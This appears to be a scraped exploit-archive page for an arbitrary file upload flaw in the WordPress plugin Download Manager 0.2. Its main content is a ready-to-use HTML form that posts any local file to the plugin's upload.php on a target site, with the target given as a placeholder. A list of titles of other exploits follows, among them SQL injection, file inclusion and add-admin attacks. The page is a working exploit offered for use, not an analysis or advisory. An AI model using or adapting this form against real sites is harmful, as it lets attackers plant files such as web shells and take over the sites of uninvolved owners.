<a name="upload-file"></a><h2>WORDPRESS PLUGIN DOWNLOAD MANAGER 0.2 REMOTE FILE UPLOAD</h2>
<h3>SaO</h3>
<h4>BiyoSecurityTeam || www.biyosecurity.com</h4>
<i>Plugin URI: http://giulioganci.netsons.org/downloads-manager<i>
<hr color="#f0f8ff">
<fieldset name="upl" class="options"> <form action="http://[site]/wp-content/plugins/downloads-manager/upload.php?up=http://[site]/wp-content/plugins/downloads-manager/upload/" method="post" enctype="multipart/form-data" name="upload">
<table cellspacing="0" cellpadding="3">
<tr>
<td>Local File</td>
</tr>
<tr>
<td><input name="upfile" type="file" id="upfile" size="50"><input type="hidden" name="MAX_FILE_SIZE" value="2048"></td>
<td><input type="submit" name="up" value="Send" class="button" /></td>
</tr>
</table>
</form>
</fieldset>
【Wordpress Plugin Download Manager 0.2 Arbitrary File Upload Exploit】相关文章：
★ Ultra Office ActiveX Control Remote Arbitrary File Corruption Exploit
★ Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit
★ DESlock 3.2.7 (vdlptokn.sys) Local Denial of Service Exploit
★ MFORUM 0.1a Arbitrary Add-Admin Vulnerability
★ Quicksilver Forums 1.4.1 forums[] Remote SQL Injection Exploit
★ LoveCMS 1.6.2 Final Update Settings Remote Exploit
★ Joomla Component n-forms 1.01 Blind SQL Injection Exploit
★ trixbox (langChoice) Local File Inclusion Exploit (connect-back)
★ phsBlog 0.2 Bypass SQL Injection Filtering Exploit
★ HIOX Browser Statistics 2.0 Arbitrary Add Admin User Exploit